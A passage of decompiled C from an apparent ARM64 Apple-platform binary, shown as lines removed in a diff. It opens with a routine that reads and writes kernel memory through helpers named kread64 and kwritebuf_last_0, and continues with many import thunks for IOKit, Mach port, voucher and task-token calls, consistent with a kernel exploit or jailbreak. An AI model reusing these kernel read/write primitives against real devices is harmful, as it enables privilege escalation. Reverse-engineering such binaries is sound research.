- fd_close(v36); - return v14; -} - -//----- (0000000000040CBC) ---------------------------------------------------- -__int64 __fastcall sub_40CBC( - __int64 a1, - __int64 a2, - unsigned int a3, - __int64 *a4, - __int64 (__fastcall *a5)(__int64, __int64), - __int64 a6) -{ - __int64 v11; // x25 - __int64 v12; // x8 - __int64 v13; // x23 - int v14; // w0 - int v15; // w23 - unsigned int v16; // w28 - int v17; // w26 - unsigned int v18; // w8 - __int64 v19; // x0 - __int64 v20; // x27 - __int64 v21; // x10 - unsigned __int16 v22; // w8 - unsigned int v23; // w9 - unsigned int v25; // [xsp+Ch] [xbp-74h] BYREF - __int64 v26; // [xsp+10h] [xbp-70h] BYREF - __int64 v27; // [xsp+18h] [xbp-68h] BYREF - unsigned __int64 v28; // [xsp+20h] [xbp-60h] BYREF - unsigned int v29; // [xsp+28h] [xbp-58h] BYREF - int v30; // [xsp+2Ch] [xbp-54h] BYREF - - v11 = 0x2800FLL; - v30 = 0xFFFFFFFF; - v28 = 0LL; - v12 = 0x20LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL ) - v12 = 0x28LL; - if ( !kread64((_DWORD *)a1, v12 + a2, &v27) ) - { - v13 = 0x2800FLL; - goto LABEL_32; - } - if ( !validate_addr(a1, v27) ) - { - v13 = 0x28026LL; - goto LABEL_32; - } - v13 = fd_open_dev_null(&v30); - if ( (_DWORD)v13 ) - goto LABEL_32; - v14 = sub_1F190(); - if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) - { - v13 = 0xAD008LL; - goto LABEL_32; - } - if ( !kreadbuf_last_0(a1, v27 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v14) + 8, *(int *)(a1 + 0x168), &v28) ) - goto LABEL_31; - if ( !validate_addr(a1, v28) ) - { - v11 = 0x28026LL; - goto LABEL_31; - } - v15 = sub_1F190(); - if ( !kreadbuf_last_0(a1, v27 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v15), 4uLL, &v25) ) - { -LABEL_31: - v13 = v11; - goto LABEL_32; - } - while ( 1 ) - { - v16 = v25; - v17 = (unsigned __int16)v25; - v18 = (unsigned __int16)v25; - if ( !(_WORD)v25 ) - { - if ( v25 < 0x10000 ) - { - if ( a5 ) - { - v19 = a5(a1, a6); - if ( (_DWORD)v19 ) - { - v11 = v19; - goto LABEL_31; - } - } - goto LABEL_25; - } - v18 = HIWORD(v25); - } - v20 = v18 - 1LL; - if ( (unsigned int)v20 > 7 ) - { - v11 = 0x28011LL; - goto LABEL_31; - } - v21 = 8LL; - if ( !(_WORD)v25 ) - v21 = 0x10LL; - if ( !kreadbuf_last_0(a1, v27 + v21 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v15), 4uLL, &v29) ) - goto LABEL_31; - v28 = v29 | ((unsigned __int64)HIDWORD(v28) << 0x20); - v26 = 0LL; - if ( !kreadbuf_last_0(a1, v28 + *(int *)(a1 + 0x168) * v20, *(int *)(a1 + 0x168), &v26) ) - goto LABEL_31; - if ( validate_addr(a1, v26 & ~*(_QWORD *)(a1 + 0x188)) ) - { - v26 = (v26 & ~*(_QWORD *)(a1 + 0x188)) + (*(_QWORD *)(a1 + 0x188) & v26) * a3; - v22 = v16 - 1; - v23 = v16 & 0xFFFF0000; - if ( !v17 ) - { - v22 = v16; - v23 = (v16 & 0xFFFF0000) - 0x10000; - } - v25 = v23 & 0xFFFF0000 | v22; - if ( (unsigned int)sub_1F190() == v15 ) - break; - } -LABEL_25: - v15 = sub_1F190(); - if ( !kreadbuf_last_0(a1, v27 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v15), 4uLL, &v25) ) - goto LABEL_31; - } - if ( !kwritebuf_last_0(a1, v27 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v15), &v25, 4uLL) ) - { - v11 = 0x28010LL; - goto LABEL_31; - } - v13 = 0LL; - *a4 = v26; -LABEL_32: - if ( v30 != 0xFFFFFFFF ) - fd_close(v30); - return v13; -} - -//----- (0000000000040FB0) ---------------------------------------------------- -__int64 __fastcall sub_40FB0(__int64 a1, __int64 a2, __int64 a3) -{ - return syscall(0x17D, a1, a2, a3); -} - -//----- (0000000000040FDC) ---------------------------------------------------- -__int64 __fastcall sub_40FDC(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5) -{ - return syscall(0x1CD, a1, a2, a3, a4, a5); -} - -//----- (000000000004100C) ---------------------------------------------------- -__int64 __fastcall sub_4100C(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6) -{ - return syscall(0x206, a1, a2, a3, a4, a5, a6); -} - -//----- (0000000000041040) ---------------------------------------------------- -unsigned __int64 sub_41040() -{ - return *(_QWORD *)((_BYTE *)&__get_cpu_capabilities + 0xC) & 0xFFFFFFFFFFFFFF00LL; -} - -//----- (000000000004106C) ---------------------------------------------------- -int __cdecl CC_SHA1_Final(unsigned __int8 *md, CC_SHA1_CTX *c) -{ - return _CC_SHA1_Final(md, c); -} - -//----- (000000000004107C) ---------------------------------------------------- -int __cdecl CC_SHA1_Init(CC_SHA1_CTX *c) -{ - return _CC_SHA1_Init(c); -} - -//----- (000000000004108C) ---------------------------------------------------- -int __cdecl CC_SHA1_Update(CC_SHA1_CTX *c, const void *data, CC_LONG len) -{ - return _CC_SHA1_Update(c, data, len); -} - -//----- (000000000004109C) ---------------------------------------------------- -int __cdecl CC_SHA256_Final(unsigned __int8 *md, CC_SHA256_CTX *c) -{ - return _CC_SHA256_Final(md, c); -} - -//----- (00000000000410AC) ---------------------------------------------------- -int __cdecl CC_SHA256_Init(CC_SHA256_CTX *c) -{ - return _CC_SHA256_Init(c); -} - -//----- (00000000000410BC) ---------------------------------------------------- -int __cdecl CC_SHA256_Update(CC_SHA256_CTX *c, const void *data, CC_LONG len) -{ - return _CC_SHA256_Update(c, data, len); -} - -//----- (00000000000410CC) ---------------------------------------------------- -int __cdecl CC_SHA384_Final(unsigned __int8 *md, CC_SHA512_CTX *c) -{ - return _CC_SHA384_Final(md, c); -} - -//----- (00000000000410DC) ---------------------------------------------------- -int __cdecl CC_SHA384_Init(CC_SHA512_CTX *c) -{ - return _CC_SHA384_Init(c); -} - -//----- (00000000000410EC) ---------------------------------------------------- -int __cdecl CC_SHA384_Update(CC_SHA512_CTX *c, const void *data, CC_LONG len) -{ - return _CC_SHA384_Update(c, data, len); -} - -//----- (00000000000410FC) ---------------------------------------------------- -void __cdecl CFArrayAppendValue(CFMutableArrayRef theArray, const void *value) -{ - _CFArrayAppendValue(theArray, value); -} - -//----- (000000000004110C) ---------------------------------------------------- -void __cdecl CFArrayApplyFunction(CFArrayRef theArray, CFRange range, CFArrayApplierFunction applier, void *context) -{ - _CFArrayApplyFunction(theArray, range, applier, context); -} - -//----- (000000000004111C) ---------------------------------------------------- -Boolean __cdecl CFArrayContainsValue(CFArrayRef theArray, CFRange range, const void *value) -{ - return _CFArrayContainsValue(theArray, range, value); -} - -//----- (000000000004112C) ---------------------------------------------------- -CFIndex __cdecl CFArrayGetCount(CFArrayRef theArray) -{ - return _CFArrayGetCount(theArray); -} - -//----- (000000000004113C) ---------------------------------------------------- -CFTypeID CFArrayGetTypeID(void) -{ - return _CFArrayGetTypeID(); -} - -//----- (000000000004114C) ---------------------------------------------------- -CFTypeID CFBooleanGetTypeID(void) -{ - return _CFBooleanGetTypeID(); -} - -//----- (000000000004115C) ---------------------------------------------------- -CFDataRef __cdecl CFDataCreate(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length) -{ - return _CFDataCreate(allocator, bytes, length); -} - -//----- (000000000004116C) ---------------------------------------------------- -CFDataRef __cdecl CFDataCreateWithBytesNoCopy( - CFAllocatorRef allocator, - const UInt8 *bytes, - CFIndex length, - CFAllocatorRef bytesDeallocator) -{ - return _CFDataCreateWithBytesNoCopy(allocator, bytes, length, bytesDeallocator); -} - -//----- (000000000004117C) ---------------------------------------------------- -const UInt8 *__cdecl CFDataGetBytePtr(CFDataRef theData) -{ - return _CFDataGetBytePtr(theData); -} - -//----- (000000000004118C) ---------------------------------------------------- -CFIndex __cdecl CFDataGetLength(CFDataRef theData) -{ - return _CFDataGetLength(theData); -} - -//----- (000000000004119C) ---------------------------------------------------- -CFTypeID CFDataGetTypeID(void) -{ - return _CFDataGetTypeID(); -} - -//----- (00000000000411AC) ---------------------------------------------------- -void __cdecl CFDictionaryAddValue(CFMutableDictionaryRef theDict, const void *key, const void *value) -{ - _CFDictionaryAddValue(theDict, key, value); -} - -//----- (00000000000411BC) ---------------------------------------------------- -void __cdecl CFDictionaryApplyFunction(CFDictionaryRef theDict, CFDictionaryApplierFunction applier, void *context) -{ - _CFDictionaryApplyFunction(theDict, applier, context); -} - -//----- (00000000000411CC) ---------------------------------------------------- -CFMutableDictionaryRef __cdecl CFDictionaryCreateMutable( - CFAllocatorRef allocator, - CFIndex capacity, - const CFDictionaryKeyCallBacks *keyCallBacks, - const CFDictionaryValueCallBacks *valueCallBacks) -{ - return _CFDictionaryCreateMutable(allocator, capacity, keyCallBacks, valueCallBacks); -} - -//----- (00000000000411DC) ---------------------------------------------------- -CFMutableDictionaryRef __cdecl CFDictionaryCreateMutableCopy( - CFAllocatorRef allocator, - CFIndex capacity, - CFDictionaryRef theDict) -{ - return _CFDictionaryCreateMutableCopy(allocator, capacity, theDict); -} - -//----- (00000000000411EC) ---------------------------------------------------- -CFTypeID CFDictionaryGetTypeID(void) -{ - return _CFDictionaryGetTypeID(); -} - -//----- (00000000000411FC) ---------------------------------------------------- -Boolean __cdecl CFDictionaryGetValueIfPresent(CFDictionaryRef theDict, const void *key, const void **value) -{ - return _CFDictionaryGetValueIfPresent(theDict, key, value); -} - -//----- (000000000004120C) ---------------------------------------------------- -void __cdecl CFDictionarySetValue(CFMutableDictionaryRef theDict, const void *key, const void *value) -{ - _CFDictionarySetValue(theDict, key, value); -} - -//----- (000000000004121C) ---------------------------------------------------- -Boolean __cdecl CFEqual(CFTypeRef cf1, CFTypeRef cf2) -{ - return _CFEqual(cf1, cf2); -} - -//----- (000000000004122C) ---------------------------------------------------- -CFTypeID __cdecl CFGetTypeID(CFTypeRef cf) -{ - return _CFGetTypeID(cf); -} - -//----- (000000000004123C) ---------------------------------------------------- -CFNumberRef __cdecl CFNumberCreate(CFAllocatorRef allocator, CFNumberType theType, const void *valuePtr) -{ - return _CFNumberCreate(allocator, theType, valuePtr); -} - -//----- (000000000004124C) ---------------------------------------------------- -CFTypeID CFNumberGetTypeID(void) -{ - return _CFNumberGetTypeID(); -} - -//----- (000000000004125C) ---------------------------------------------------- -Boolean __cdecl CFNumberGetValue(CFNumberRef number, CFNumberType theType, void *valuePtr) -{ - return _CFNumberGetValue(number, theType, valuePtr); -} - -//----- (000000000004126C) ---------------------------------------------------- -CFDataRef __cdecl CFPropertyListCreateData( - CFAllocatorRef allocator, - CFPropertyListRef propertyList, - CFPropertyListFormat format, - CFOptionFlags options, - CFErrorRef *error) -{ - return _CFPropertyListCreateData(allocator, propertyList, format, options, error); -} - -//----- (000000000004127C) ---------------------------------------------------- -CFPropertyListRef __cdecl CFPropertyListCreateWithData( - CFAllocatorRef allocator, - CFDataRef data, - CFOptionFlags options, - CFPropertyListFormat *format, - CFErrorRef *error) -{ - return _CFPropertyListCreateWithData(allocator, data, options, format, error); -} - -//----- (000000000004128C) ---------------------------------------------------- -CFPropertyListRef __cdecl CFPropertyListCreateWithStream( - CFAllocatorRef allocator, - CFReadStreamRef stream, - CFIndex streamLength, - CFOptionFlags options, - CFPropertyListFormat *format, - CFErrorRef *error) -{ - return _CFPropertyListCreateWithStream(allocator, stream, streamLength, options, format, error); -} - -//----- (000000000004129C) ---------------------------------------------------- -void __cdecl CFReadStreamClose(CFReadStreamRef stream) -{ - _CFReadStreamClose(stream); -} - -//----- (00000000000412AC) ---------------------------------------------------- -CFReadStreamRef __cdecl CFReadStreamCreateWithBytesNoCopy( - CFAllocatorRef alloc, - const UInt8 *bytes, - CFIndex length, - CFAllocatorRef bytesDeallocator) -{ - return _CFReadStreamCreateWithBytesNoCopy(alloc, bytes, length, bytesDeallocator); -} - -//----- (00000000000412BC) ---------------------------------------------------- -Boolean __cdecl CFReadStreamOpen(CFReadStreamRef stream) -{ - return _CFReadStreamOpen(stream); -} - -//----- (00000000000412CC) ---------------------------------------------------- -void __cdecl CFRelease(CFTypeRef cf) -{ - _CFRelease(cf); -} - -//----- (00000000000412DC) ---------------------------------------------------- -void __cdecl CFRunLoopAddSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode) -{ - _CFRunLoopAddSource(rl, source, mode); -} - -//----- (00000000000412EC) ---------------------------------------------------- -CFRunLoopRef CFRunLoopGetCurrent(void) -{ - return _CFRunLoopGetCurrent(); -} - -//----- (00000000000412FC) ---------------------------------------------------- -void __cdecl CFRunLoopRemoveSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode) -{ - _CFRunLoopRemoveSource(rl, source, mode); -} - -//----- (000000000004130C) ---------------------------------------------------- -CFRunLoopRunResult __cdecl CFRunLoopRunInMode( - CFRunLoopMode mode, - CFTimeInterval seconds, - Boolean returnAfterSourceHandled) -{ - return _CFRunLoopRunInMode(mode, seconds, returnAfterSourceHandled); -} - -//----- (000000000004131C) ---------------------------------------------------- -CFStringRef __cdecl CFStringCreateWithCString(CFAllocatorRef alloc, const char *cStr, CFStringEncoding encoding) -{ - return _CFStringCreateWithCString(alloc, cStr, encoding); -} - -//----- (000000000004132C) ---------------------------------------------------- -Boolean __cdecl CFStringGetCString(CFStringRef theString, char *buffer, CFIndex bufferSize, CFStringEncoding encoding) -{ - return _CFStringGetCString(theString, buffer, bufferSize, encoding); -} - -//----- (000000000004133C) ---------------------------------------------------- -CFStringEncoding CFStringGetSystemEncoding(void) -{ - return _CFStringGetSystemEncoding(); -} - -//----- (000000000004134C) ---------------------------------------------------- -CFTypeID CFStringGetTypeID(void) -{ - return _CFStringGetTypeID(); -} - -//----- (000000000004135C) ---------------------------------------------------- -Boolean __cdecl CFStringHasPrefix(CFStringRef theString, CFStringRef prefix) -{ - return _CFStringHasPrefix(theString, prefix); -} - -//----- (000000000004136C) ---------------------------------------------------- -CFDataRef __cdecl IOCFSerialize(CFTypeRef object, CFOptionFlags options) -{ - return _IOCFSerialize(object, options); -} - -//----- (000000000004137C) ---------------------------------------------------- -kern_return_t __cdecl IOConnectCallMethod( - mach_port_t connection, - uint32_t selector, - const uint64_t *input, - uint32_t inputCnt, - const void *inputStruct, - size_t inputStructCnt, - uint64_t *output, - uint32_t *outputCnt, - void *outputStruct, - size_t *outputStructCnt) -{ - return _IOConnectCallMethod( - connection, - selector, - input, - inputCnt, - inputStruct, - inputStructCnt, - output, - outputCnt, - outputStruct, - outputStructCnt); -} - -//----- (000000000004138C) ---------------------------------------------------- -kern_return_t __cdecl IOConnectCallScalarMethod( - mach_port_t connection, - uint32_t selector, - const uint64_t *input, - uint32_t inputCnt, - uint64_t *output, - uint32_t *outputCnt) -{ - return _IOConnectCallScalarMethod(connection, selector, input, inputCnt, output, outputCnt); -} - -//----- (000000000004139C) ---------------------------------------------------- -kern_return_t __cdecl IOConnectCallStructMethod( - mach_port_t connection, - uint32_t selector, - const void *inputStruct, - size_t inputStructCnt, - void *outputStruct, - size_t *outputStructCnt) -{ - return _IOConnectCallStructMethod(connection, selector, inputStruct, inputStructCnt, outputStruct, outputStructCnt); -} - -//----- (00000000000413AC) ---------------------------------------------------- -kern_return_t __cdecl IOConnectTrap4( - io_connect_t connect, - uint32_t index, - uintptr_t p1, - uintptr_t p2, - uintptr_t p3, - uintptr_t p4) -{ - return _IOConnectTrap4(connect, index, p1, p2, p3, p4); -} - -//----- (00000000000413BC) ---------------------------------------------------- -kern_return_t __cdecl IOConnectTrap6( - io_connect_t connect, - uint32_t index, - uintptr_t p1, - uintptr_t p2, - uintptr_t p3, - uintptr_t p4, - uintptr_t p5, - uintptr_t p6) -{ - return _IOConnectTrap6(connect, index, p1, p2, p3, p4, p5, p6); -} - -//----- (00000000000413CC) ---------------------------------------------------- -io_object_t __cdecl IOIteratorNext(io_iterator_t iterator) -{ - return _IOIteratorNext(iterator); -} - -//----- (00000000000413DC) ---------------------------------------------------- -IONotificationPortRef __cdecl IONotificationPortCreate(mach_port_t masterPort) -{ - return _IONotificationPortCreate(masterPort); -} - -//----- (00000000000413EC) ---------------------------------------------------- -void __cdecl IONotificationPortDestroy(IONotificationPortRef notify) -{ - _IONotificationPortDestroy(notify); -} - -//----- (00000000000413FC) ---------------------------------------------------- -CFRunLoopSourceRef __cdecl IONotificationPortGetRunLoopSource(IONotificationPortRef notify) -{ - return _IONotificationPortGetRunLoopSource(notify); -} - -//----- (000000000004140C) ---------------------------------------------------- -kern_return_t __cdecl IOObjectRelease(io_object_t object) -{ - return _IOObjectRelease(object); -} - -//----- (000000000004141C) ---------------------------------------------------- -kern_return_t __cdecl IORegistryEntryCreateCFProperties( - io_registry_entry_t entry, - CFMutableDictionaryRef *properties, - CFAllocatorRef allocator, - IOOptionBits options) -{ - return _IORegistryEntryCreateCFProperties(entry, properties, allocator, options); -} - -//----- (000000000004142C) ---------------------------------------------------- -CFTypeRef __cdecl IORegistryEntryCreateCFProperty( - io_registry_entry_t entry, - CFStringRef key, - CFAllocatorRef allocator, - IOOptionBits options) -{ - return _IORegistryEntryCreateCFProperty(entry, key, allocator, options); -} - -//----- (000000000004143C) ---------------------------------------------------- -io_registry_entry_t __cdecl IORegistryEntryFromPath(mach_port_t masterPort, const io_string_t path) -{ - return _IORegistryEntryFromPath(masterPort, path); -} - -//----- (000000000004144C) ---------------------------------------------------- -kern_return_t __cdecl IORegistryEntryGetChildIterator( - io_registry_entry_t entry, - const io_name_t plane, - io_iterator_t *iterator) -{ - return _IORegistryEntryGetChildIterator(entry, plane, iterator); -} - -//----- (000000000004145C) ---------------------------------------------------- -CFTypeRef __cdecl IORegistryEntrySearchCFProperty( - io_registry_entry_t entry, - const io_name_t plane, - CFStringRef key, - CFAllocatorRef allocator, - IOOptionBits options) -{ - return _IORegistryEntrySearchCFProperty(entry, plane, key, allocator, options); -} - -//----- (000000000004146C) ---------------------------------------------------- -kern_return_t __cdecl IOServiceAddMatchingNotification( - IONotificationPortRef notifyPort, - const io_name_t notificationType, - CFDictionaryRef matching, - IOServiceMatchingCallback callback, - void *refCon, - io_iterator_t *notification) -{ - return _IOServiceAddMatchingNotification(notifyPort, notificationType, matching, callback, refCon, notification); -} - -//----- (000000000004147C) ---------------------------------------------------- -kern_return_t __cdecl IOServiceClose(io_connect_t connect) -{ - return _IOServiceClose(connect); -} - -//----- (000000000004148C) ---------------------------------------------------- -io_service_t __cdecl IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching) -{ - return _IOServiceGetMatchingService(masterPort, matching); -} - -//----- (000000000004149C) ---------------------------------------------------- -CFMutableDictionaryRef __cdecl IOServiceMatching(const char *name) -{ - return _IOServiceMatching(name); -} - -//----- (00000000000414AC) ---------------------------------------------------- -kern_return_t __cdecl IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect) -{ - return _IOServiceOpen(service, owningTask, type, connect); -} - -//----- (00000000000414BC) ---------------------------------------------------- -kern_return_t __cdecl IOServiceWaitQuiet(io_service_t service, mach_timespec_t *waitTime) -{ - return _IOServiceWaitQuiet(service, waitTime); -} - -//----- (00000000000414CC) ---------------------------------------------------- -__int64 _CFProcessPath() -{ - return __CFProcessPath(); -} -// 48238: using guessed type __int64 __CFProcessPath(void); - -//----- (00000000000414DC) ---------------------------------------------------- -__int64 _IOServiceSetAuthorizationID() -{ - return __IOServiceSetAuthorizationID(); -} -// 48328: using guessed type __int64 __IOServiceSetAuthorizationID(void); - -//----- (00000000000414EC) ---------------------------------------------------- -int *__error(void) -{ - return ___error(); -} - -//----- (00000000000414FC) ---------------------------------------------------- -__int64 __memcpy_chk() -{ - return ___memcpy_chk(); -} -// 48388: using guessed type __int64 ___memcpy_chk(void); - -//----- (000000000004150C) ---------------------------------------------------- -__int64 __memset_chk() -{ - return ___memset_chk(); -} -// 48390: using guessed type __int64 ___memset_chk(void); - -//----- (000000000004151C) ---------------------------------------------------- -__int64 __semwait_signal() -{ - return ___semwait_signal(); -} -// 48398: using guessed type __int64 ___semwait_signal(void); - -//----- (000000000004153C) ---------------------------------------------------- -__int64 __strlcpy_chk() -{ - return ___strlcpy_chk(); -} -// 483A8: using guessed type __int64 ___strlcpy_chk(void); - -//----- (000000000004154C) ---------------------------------------------------- -__int64 __ulock_wait() -{ - return ___ulock_wait(); -} -// 483B0: using guessed type __int64 ___ulock_wait(void); - -//----- (000000000004155C) ---------------------------------------------------- -__int64 __ulock_wake() -{ - return ___ulock_wake(); -} -// 483B8: using guessed type __int64 ___ulock_wake(void); - -//----- (000000000004156C) ---------------------------------------------------- -__int64 _get_cpu_capabilities() -{ - return __get_cpu_capabilities(); -} -// 483C0: using guessed type __int64 __get_cpu_capabilities(void); - -//----- (000000000004157C) ---------------------------------------------------- -__int64 _os_alloc_once() -{ - return __os_alloc_once(); -} -// 483C8: using guessed type __int64 __os_alloc_once(void); - -//----- (000000000004158C) ---------------------------------------------------- -void __cdecl arc4random_buf(void *__buf, size_t __nbytes) -{ - _arc4random_buf(__buf, __nbytes); -} - -//----- (000000000004159C) ---------------------------------------------------- -void __cdecl bzero(void *a1, size_t a2) -{ - _bzero(a1, a2); -} - -//----- (00000000000415AC) ---------------------------------------------------- -void *__cdecl calloc(size_t __count, size_t __size) -{ - return _calloc(__count, __size); -} - -//----- (00000000000415BC) ---------------------------------------------------- -int __cdecl chown(const char *a1, uid_t a2, gid_t a3) -{ - return _chown(a1, a2, a3); -} - -//----- (00000000000415CC) ---------------------------------------------------- -int __cdecl close(int a1) -{ - return _close(a1); -} - -//----- (00000000000415DC) ---------------------------------------------------- -int __cdecl connect(int a1, const sockaddr *a2, socklen_t a3) -{ - return _connect(a1, a2, a3); -} - -//----- (00000000000415EC) ---------------------------------------------------- -int __cdecl dlclose(void *__handle) -{ - return _dlclose(__handle); -} - -//----- (00000000000415FC) ---------------------------------------------------- -void *__cdecl dlopen(const char *__path, int __mode) -{ - return _dlopen(__path, __mode); -} - -//----- (000000000004160C) ---------------------------------------------------- -void *__cdecl dlsym(void *__handle, const char *__symbol) -{ - return _dlsym(__handle, __symbol); -} - -//----- (000000000004161C) ---------------------------------------------------- -int fcntl(int a1, int a2, ...) -{ - return _fcntl(a1, a2); -} - -//----- (000000000004162C) ---------------------------------------------------- -int __cdecl ffsctl(int a1, unsigned __int64 a2, void *a3, unsigned int a4) -{ - return _ffsctl(a1, a2, a3, a4); -} - -//----- (000000000004163C) ---------------------------------------------------- -__int64 fileport_makefd() -{ - return _fileport_makefd(); -} -// 48428: using guessed type __int64 _fileport_makefd(void); - -//----- (000000000004164C) ---------------------------------------------------- -__int64 fileport_makeport() -{ - return _fileport_makeport(); -} -// 48430: using guessed type __int64 _fileport_makeport(void); - -//----- (000000000004165C) ---------------------------------------------------- -void __cdecl free(void *a1) -{ - _free(a1); -} - -//----- (000000000004166C) ---------------------------------------------------- -int __cdecl fstat(int a1, stat *a2) -{ - return _fstat(a1, a2); -} - -//----- (000000000004167C) ---------------------------------------------------- -int __cdecl getattrlist(const char *a1, void *a2, void *a3, size_t a4, unsigned int a5) -{ - return _getattrlist(a1, a2, a3, a4, a5); -} - -//----- (000000000004168C) ---------------------------------------------------- -int __cdecl getmntinfo(statfs **a1, int a2) -{ - return _getmntinfo(a1, a2); -} - -//----- (000000000004169C) ---------------------------------------------------- -pid_t getpid(void) -{ - return _getpid(); -} - -//----- (00000000000416AC) ---------------------------------------------------- -pid_t getppid(void) -{ - return _getppid(); -} - -//----- (00000000000416BC) ---------------------------------------------------- -uid_t getuid(void) -{ - return _getuid(); -} - -//----- (00000000000416CC) ---------------------------------------------------- -kern_return_t __cdecl host_create_mach_voucher( - host_t host, - mach_voucher_attr_raw_recipe_array_t recipes, - mach_msg_type_number_t recipesCnt, - ipc_voucher_t *voucher) -{ - return _host_create_mach_voucher(host, recipes, recipesCnt, voucher); -} - -//----- (00000000000416DC) ---------------------------------------------------- -kern_return_t __cdecl host_get_io_master(host_t host, io_master_t *io_master) -{ - return _host_get_io_master(host, io_master); -} - -//----- (00000000000416EC) ---------------------------------------------------- -kern_return_t __cdecl host_get_special_port(host_priv_t host_priv, int node, int which, mach_port_t *port) -{ - return _host_get_special_port(host_priv, node, which, port); -} - -//----- (00000000000416FC) ---------------------------------------------------- -kern_return_t __cdecl host_kernel_version(host_t host, kernel_version_t kernel_version) -{ - return _host_kernel_version(host, kernel_version); -} - -//----- (000000000004170C) ---------------------------------------------------- -kern_return_t __cdecl host_page_size(host_t a1, vm_size_t *a2) -{ - return _host_page_size(a1, a2); -} - -//----- (000000000004171C) ---------------------------------------------------- -kern_return_t __cdecl host_processors( - host_priv_t host_priv, - processor_array_t *out_processor_list, - mach_msg_type_number_t *out_processor_listCnt) -{ - return _host_processors(host_priv, out_processor_list, out_processor_listCnt); -} - -//----- (000000000004172C) ---------------------------------------------------- -kern_return_t __cdecl host_security_set_task_token( - host_security_t host_security, - task_t target_task, - security_token_t sec_token, - audit_token_t *audit_token, - host_t host) -{ - return _host_security_set_task_token(host_security, target_task, sec_token, audit_token, host); -} - -//----- (000000000004173C) ---------------------------------------------------- -int ioctl(int a1, unsigned __int64 a2, ...) -{ - return _ioctl(a1, a2); -} - -//----- (000000000004174C) ---------------------------------------------------- -int __cdecl lstat(const char *a1, stat *a2) -{ - return _lstat(a1, a2); -} - -//----- (000000000004175C) ---------------------------------------------------- -uint64_t mach_absolute_time(void) -{ - return _mach_absolute_time(); -} - -//----- (000000000004176C) ---------------------------------------------------- -mach_port_t mach_host_self(void) -{ - return _mach_host_self(); -} - -//----- (000000000004177C) ---------------------------------------------------- -kern_return_t __cdecl mach_make_memory_entry( - vm_map_t target_task, - vm_size_t *size, - vm_offset_t offset, - vm_prot_t permission, - mem_entry_name_port_t *object_handle, - mem_entry_name_port_t parent_entry) -{ - return _mach_make_memory_entry(target_task, size, offset, permission, object_handle, parent_entry); -} - -//----- (000000000004178C) ---------------------------------------------------- -kern_return_t __cdecl mach_make_memory_entry_64( - vm_map_t target_task, - memory_object_size_t *size, - memory_object_offset_t offset, - vm_prot_t permission, - mach_port_t *object_handle, - mem_entry_name_port_t parent_entry) -{ - return _mach_make_memory_entry_64(target_task, size, offset, permission, object_handle, parent_entry); -} - -//----- (000000000004179C) ---------------------------------------------------- -mach_msg_return_t __cdecl mach_msg( - mach_msg_header_t *msg, - mach_msg_option_t option, - mach_msg_size_t send_size, - mach_msg_size_t rcv_size, - mach_port_name_t rcv_name, - mach_msg_timeout_t timeout, - mach_port_name_t notify) -{ - return _mach_msg(msg, option, send_size, rcv_size, rcv_name, timeout, notify); -} - -//----- (00000000000417AC) ---------------------------------------------------- -void __cdecl mach_msg_destroy(mach_msg_header_t *a1) -{ - _mach_msg_destroy(a1); -} - -//----- (00000000000417BC) ---------------------------------------------------- -mach_msg_return_t __cdecl mach_msg_send(mach_msg_header_t *a1) -{ - return _mach_msg_send(a1); -} - -//----- (00000000000417CC) ---------------------------------------------------- -kern_return_t __cdecl mach_port_allocate(ipc_space_t task, mach_port_right_t right, mach_port_name_t *name) -{ - return _mach_port_allocate(task, right, name); -} - -//----- (00000000000417DC) ---------------------------------------------------- -kern_return_t __cdecl mach_port_deallocate(ipc_space_t task, mach_port_name_t name) -{ - return _mach_port_deallocate(task, name); -} - -//----- (00000000000417EC) ---------------------------------------------------- -kern_return_t __cdecl mach_port_destroy(ipc_space_t task, mach_port_name_t name) -{ - return _mach_port_destroy(task, name); -} - -//----- (00000000000417FC) ---------------------------------------------------- -kern_return_t __cdecl mach_port_get_attributes( - ipc_space_read_t task, - mach_port_name_t name, - mach_port_flavor_t flavor, - mach_port_info_t port_info_out, - mach_msg_type_number_t *port_info_outCnt) -{ - return _mach_port_get_attributes(task, name, flavor, port_info_out, port_info_outCnt); -} - -//----- (000000000004180C) ---------------------------------------------------- -kern_return_t __cdecl mach_port_insert_right( - ipc_space_t task, - mach_port_name_t name, - mach_port_t poly, - mach_msg_type_name_t polyPoly) -{ - return _mach_port_insert_right(task, name, poly, polyPoly); -} - -//----- (000000000004181C) ---------------------------------------------------- -kern_return_t __cdecl mach_port_mod_refs( - ipc_space_t task, - mach_port_name_t name, - mach_port_right_t right, - mach_port_delta_t delta) -{ - return _mach_port_mod_refs(task, name, right, delta); -} - -//----- (000000000004182C) ---------------------------------------------------- -kern_return_t __cdecl mach_port_request_notification( - ipc_space_t task, - mach_port_name_t name, - mach_msg_id_t msgid, - mach_port_mscount_t sync, - mach_port_t notify, - mach_msg_type_name_t notifyPoly, - mach_port_t *previous) -{ - return _mach_port_request_notification(task, name, msgid, sync, notify, notifyPoly, previous); -} - -//----- (000000000004183C) ---------------------------------------------------- -kern_return_t __cdecl mach_port_set_attributes( - ipc_space_t task, - mach_port_name_t name, - mach_port_flavor_t flavor, - mach_port_info_t port_info, - mach_msg_type_number_t port_infoCnt) -{ - return _mach_port_set_attributes(task, name, flavor, port_info, port_infoCnt); -} - -//----- (000000000004184C) ---------------------------------------------------- -kern_return_t __cdecl mach_port_space_info( - ipc_space_read_t space, - ipc_info_space_t *space_info, - ipc_info_name_array_t *table_info, - mach_msg_type_number_t *table_infoCnt, - ipc_info_tree_name_array_t *tree_info, - mach_msg_type_number_t *tree_infoCnt) -{ - return _mach_port_space_info(space, space_info, table_info, table_infoCnt, tree_info, tree_infoCnt); -} - -//----- (000000000004185C) ---------------------------------------------------- -kern_return_t __cdecl mach_ports_register( - task_t target_task, - mach_port_array_t 